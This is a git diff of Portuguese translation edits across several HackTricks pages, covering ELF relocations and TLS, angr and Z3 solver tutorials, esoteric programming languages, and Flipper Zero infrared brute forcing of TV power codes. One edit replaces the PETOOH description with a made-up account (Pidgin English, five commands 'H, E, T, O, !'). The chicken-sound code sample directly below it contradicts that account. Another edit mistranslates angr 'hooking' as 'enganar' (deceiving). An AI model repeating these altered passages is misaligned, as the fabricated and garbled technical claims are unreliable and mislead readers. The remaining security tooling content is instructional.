Se o **programa for carregado em um local diferente** do endereço preferido (geralmente 0x400000) porque o endereço já está em uso ou por causa do **ASLR** ou qualquer outro motivo, uma relocação estática **corrige ponteiros** que tinham valores esperando que o binário fosse carregado no endereço preferido.
|
||||
|
||||
Por exemplo, qualquer seção do tipo `R_AARCH64_RELATIV` deve ter modificado o endereço no deslocamento da relocação mais o valor do adendo.
|
||||
Por exemplo, qualquer seção do tipo `R_AARCH64_RELATIV` deve ter modificado o endereço no viés de relocação mais o valor do adendo.
|
||||
|
||||
### Relocações Dinâmicas e GOT
|
||||
|
||||
A relocação também pode fazer referência a um símbolo externo (como uma função de uma dependência). Como a função malloc da libC. Então, o carregador, ao carregar a libC em um endereço verificando onde a função malloc está carregada, escreverá este endereço na tabela GOT (Global Offset Table) (indicada na tabela de relocação) onde o endereço de malloc deve ser especificado.
|
||||
|
||||
### Tabela de Vínculo de Procedimentos
|
||||
### Tabela de Vínculo de Procedimento
|
||||
|
||||
A seção PLT permite realizar vinculação tardia, o que significa que a resolução da localização de uma função será realizada na primeira vez que ela for acessada.
|
||||
|
||||
|
@ -353,7 +353,7 @@ printf("Main\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Note que essas variáveis globais estão localizadas em `.data` ou `.bss`, mas nas listas `__CTOR_LIST__` e `__DTOR_LIST__`, os objetos a serem inicializados e destruídos são armazenados para acompanhamento.
|
||||
Note que essas variáveis globais estão localizadas em `.data` ou `.bss`, mas nas listas `__CTOR_LIST__` e `__DTOR_LIST__`, os objetos a serem inicializados e destruídos são armazenados para acompanhar sua ordem.
|
||||
|
||||
A partir do código C, é possível obter o mesmo resultado usando as extensões GNU:
|
||||
```c
|
||||
|
@ -379,10 +379,10 @@ Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** q
|
|||
|
||||
São definidos usando a palavra-chave **`__thread_local`** em C++ ou a extensão GNU **`__thread`**.
|
||||
|
||||
Cada thread manterá um local único para essa variável, para que apenas o thread possa acessar sua variável.
|
||||
Cada thread manterá um local único para essa variável, para que apenas a thread possa acessar sua variável.
|
||||
|
||||
Quando isso é usado, as seções **`.tdata`** e **`.tbss`** são usadas no ELF. Que são como `.data` (inicializado) e `.bss` (não inicializado) mas para TLS.
|
||||
|
||||
Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local do thread.
|
||||
Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local da thread.
|
||||
|
||||
O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de threads e aponta para a área na memória que contém todos os dados locais do thread de um módulo.
|
||||
O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de threads e aponta para a área na memória que contém todos os dados locais da thread de um módulo.
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -416,7 +416,7 @@ Note que o arquivo simbólico também pode conter dados constantes mesclados com
|
|||
### Aplicando Restrições
|
||||
|
||||
{% hint style="info" %}
|
||||
Às vezes, operações simples como comparar 2 palavras de comprimento 16 **caractere por caractere** (loop), **custam** muito para um **angr** porque ele precisa gerar ramos **exponencialmente** devido a gerar 1 ramo por if: `2^16`\
|
||||
Às vezes, operações simples como comparar 2 palavras de comprimento 16 **caractere por caractere** (loop), **custam** muito para um **angr** porque ele precisa gerar ramos **exponencialmente** pois gera 1 ramo por if: `2^16`\
|
||||
Portanto, é mais fácil **pedir ao angr para voltar a um ponto anterior** (onde a parte realmente difícil já foi feita) e **definir essas restrições manualmente**.
|
||||
{% endhint %}
|
||||
```python
|
||||
|
@ -494,7 +494,7 @@ Em alguns cenários, você pode ativar o **veritesting**, que irá mesclar estad
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Outra coisa que você pode fazer nesses cenários é **enganchar a função dando ao angr algo que ele possa entender** mais facilmente.
|
||||
Outra coisa que você pode fazer nesses cenários é **enganar a função dando ao angr algo que ele possa entender** mais facilmente.
|
||||
{% endhint %}
|
||||
|
||||
### Gerenciadores de Simulação
|
||||
|
@ -606,7 +606,7 @@ raise Exception('Could not find the solution')
|
|||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
||||
```
|
||||
### Enganchando uma função / Simprocedure
|
||||
### Enganando uma função / Simprocedure
|
||||
```python
|
||||
# Hook to the function called check_equals_WQNDNKKWAWOLXBAC
|
||||
|
||||
|
@ -823,10 +823,10 @@ main(sys.argv)
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
De forma muito básica, esta ferramenta nos ajudará a encontrar valores para variáveis que precisam satisfazer algumas condições e calculá-las manualmente seria muito irritante. Portanto, você pode indicar ao Z3 as condições que as variáveis precisam satisfazer e ele encontrará alguns valores (se possível).
|
||||
Muito basicamente, esta ferramenta nos ajudará a encontrar valores para variáveis que precisam satisfazer algumas condições e calculá-los manualmente será muito irritante. Portanto, você pode indicar ao Z3 as condições que as variáveis precisam satisfazer e ele encontrará alguns valores (se possível).
|
||||
|
||||
# Operações Básicas
|
||||
|
||||
## Booleanos/And/Or/Not
|
||||
## Booleanos/E/OU/Não
|
||||
```python
|
||||
#pip3 install z3-solver
|
||||
from z3 import *
|
||||
|
@ -52,7 +52,7 @@ print(solve(r1**2 + r2**2 == 3, r1**3 == 2))
|
|||
set_option(precision=30)
|
||||
print(solve(r1**2 + r2**2 == 3, r1**3 == 2))
|
||||
```
|
||||
## Impressão do Modelo
|
||||
## Imprimindo Modelo
|
||||
```python
|
||||
from z3 import *
|
||||
|
||||
|
@ -68,7 +68,7 @@ print("%s = %s" % (d.name(), m[d]))
|
|||
```
|
||||
# Aritmética de Máquina
|
||||
|
||||
CPUs modernos e linguagens de programação mainstream utilizam aritmética sobre **vetores de bits de tamanho fixo**. A aritmética de máquina está disponível no Z3Py como **Bit-Vectors**.
|
||||
As CPUs modernas e linguagens de programação mainstream utilizam aritmética sobre **vetores de bits de tamanho fixo**. A aritmética de máquina está disponível no Z3Py como **Bit-Vectors**.
|
||||
```python
|
||||
from z3 import *
|
||||
|
||||
|
@ -85,7 +85,7 @@ print(simplify(a == b)) #This is False
|
|||
```
|
||||
## Números Assinados/Não Assinados
|
||||
|
||||
Z3 fornece versões assinadas especiais de operações aritméticas onde faz diferença se o **bit-vector é tratado como assinado ou não assinado**. Em Z3Py, os operadores **<, <=, >, >=, /, % e >>** correspondem às versões **assinadas**. Os operadores **não assinados** correspondentes são **ULT, ULE, UGT, UGE, UDiv, URem e LShR.**
|
||||
O Z3 fornece versões especiais assinadas de operações aritméticas onde faz diferença se o **vetor de bits é tratado como assinado ou não assinado**. No Z3Py, os operadores **<, <=, >, >=, /, % e >>** correspondem às versões **assinadas**. Os operadores **não assinados** correspondentes são **ULT, ULE, UGT, UGE, UDiv, URem e LShR**.
|
||||
```python
|
||||
from z3 import *
|
||||
|
||||
|
@ -105,9 +105,9 @@ solve(ULT(x, 0))
|
|||
```
|
||||
## Funções
|
||||
|
||||
**Funções interpretadas** como aritmética onde a **função +** possui uma **interpretação padrão fixa** (ela soma dois números). **Funções não interpretadas** e constantes são **maximamente flexíveis**; elas permitem **qualquer interpretação** que seja **consistente** com as **restrições** sobre a função ou constante.
|
||||
**Funções interpretadas** como aritmética, onde a **função +** tem uma **interpretação padrão fixa** (soma dois números). **Funções não interpretadas** e constantes são **maximamente flexíveis**; elas permitem **qualquer interpretação** que seja **consistente** com as **restrições** sobre a função ou constante.
|
||||
|
||||
Exemplo: f aplicada duas vezes a x resulta em x novamente, mas f aplicada uma vez a x é diferente de x.
|
||||
Exemplo: f aplicado duas vezes a x resulta em x novamente, mas f aplicado uma vez a x é diferente de x.
|
||||
```python
|
||||
from z3 import *
|
||||
|
||||
|
@ -178,21 +178,21 @@ print_matrix(r)
|
|||
else:
|
||||
print "failed to solve"
|
||||
```
|
||||
# Referências
|
||||
## Referências
|
||||
|
||||
* [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -60,7 +60,7 @@ Whisper my world
|
|||
|
||||
## PETOOH
|
||||
|
||||
PETOOH é uma linguagem esotérica que usa instruções baseadas em pássaros para programação. Cada comando é representado por um som de pássaro diferente, tornando a escrita e leitura do código uma tarefa única e interessante.
|
||||
PETOOH é uma linguagem esotérica baseada em Pidgin English. Os programas PETOOH são escritos em inglês simplificado, com apenas cinco comandos: `H`, `E`, `T`, `O` e `!`. Cada comando corresponde a uma operação aritmética básica e a linguagem é executada como um esquema de máquina de pilha.
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
|
@ -77,7 +77,7 @@ Kukarek
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -47,7 +47,7 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Introdução <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Para mais informações sobre como o infravermelho funciona, confira:
|
||||
Para mais informações sobre como o Infravermelho funciona, confira:
|
||||
|
||||
{% content-ref url="../infrared.md" %}
|
||||
[infrared.md](../infrared.md)
|
||||
|
@ -24,7 +24,7 @@ Para mais informações sobre como o infravermelho funciona, confira:
|
|||
|
||||
O Flipper usa um receptor de sinal IR digital TSOP, que **permite interceptar sinais de controles remotos IR**. Alguns **smartphones** como Xiaomi, também possuem uma porta IR, mas tenha em mente que **a maioria deles só pode transmitir** sinais e são **incapazes de recebê-los**.
|
||||
|
||||
O receptor infravermelho do Flipper é **bastante sensível**. Você pode até **captar o sinal** estando **em algum lugar entre** o controle remoto e a TV. Apontar o controle remoto diretamente para a porta IR do Flipper é desnecessário. Isso é útil quando alguém está trocando de canal enquanto está perto da TV, e tanto você quanto o Flipper estão a certa distância.
|
||||
O receptor infravermelho do Flipper é bastante sensível. Você pode até **captar o sinal** estando **em algum lugar entre** o controle remoto e a TV. Apontar o controle remoto diretamente para a porta IR do Flipper é desnecessário. Isso é útil quando alguém está trocando de canal enquanto está perto da TV, e tanto você quanto o Flipper estão a certa distância.
|
||||
|
||||
Como a **decodificação do sinal infravermelho** acontece no **lado do software**, o Flipper Zero potencialmente suporta a **receção e transmissão de quaisquer códigos de controle remoto IR**. No caso de **protocolos desconhecidos** que não puderam ser reconhecidos - ele **registra e reproduz** o sinal bruto exatamente como recebido.
|
||||
|
||||
|
@ -32,16 +32,16 @@ Como a **decodificação do sinal infravermelho** acontece no **lado do software
|
|||
|
||||
### Controles Remotos Universais
|
||||
|
||||
O Flipper Zero pode ser usado como um **controle remoto universal para controlar qualquer TV, ar-condicionado ou centro de mídia**. Neste modo, o Flipper **força bruta** todos os **códigos conhecidos** de todos os fabricantes suportados **de acordo com o dicionário do cartão SD**. Você não precisa escolher um controle remoto específico para desligar uma TV de restaurante.
|
||||
O Flipper Zero pode ser usado como um **controle remoto universal para controlar qualquer TV, ar condicionado ou centro de mídia**. Neste modo, o Flipper **força bruta** todos os **códigos conhecidos** de todos os fabricantes suportados **de acordo com o dicionário do cartão SD**. Você não precisa escolher um controle remoto específico para desligar uma TV de restaurante.
|
||||
|
||||
Basta pressionar o botão de energia no modo Controle Remoto Universal, e o Flipper **enviará sequencialmente comandos de "Desligar"** de todas as TVs que conhece: Sony, Samsung, Panasonic... e assim por diante. Quando a TV receber seu sinal, ela reagirá e desligará.
|
||||
É suficiente pressionar o botão de energia no modo Controle Remoto Universal, e o Flipper **enviará sequencialmente comandos de "Desligar"** de todas as TVs que conhece: Sony, Samsung, Panasonic... e assim por diante. Quando a TV receber seu sinal, ela reagirá e desligará.
|
||||
|
||||
Essa força bruta leva tempo. Quanto maior o dicionário, mais tempo levará para terminar. É impossível descobrir qual sinal exatamente a TV reconheceu, já que não há feedback da TV.
|
||||
|
||||
### Aprender Novo Controle Remoto
|
||||
|
||||
É possível **capturar um sinal infravermelho** com o Flipper Zero. Se ele **encontrar o sinal no banco de dados**, o Flipper automaticamente **saberá qual dispositivo é** e permitirá que você interaja com ele.\
|
||||
Caso contrário, o Flipper pode **armazenar** o **sinal** e permitirá que você o **reproduza**.
|
||||
Se não encontrar, o Flipper pode **armazenar** o **sinal** e permitirá que você o **reproduza**.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -54,7 +54,7 @@ Caso contrário, o Flipper pode **armazenar** o **sinal** e permitirá que você
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
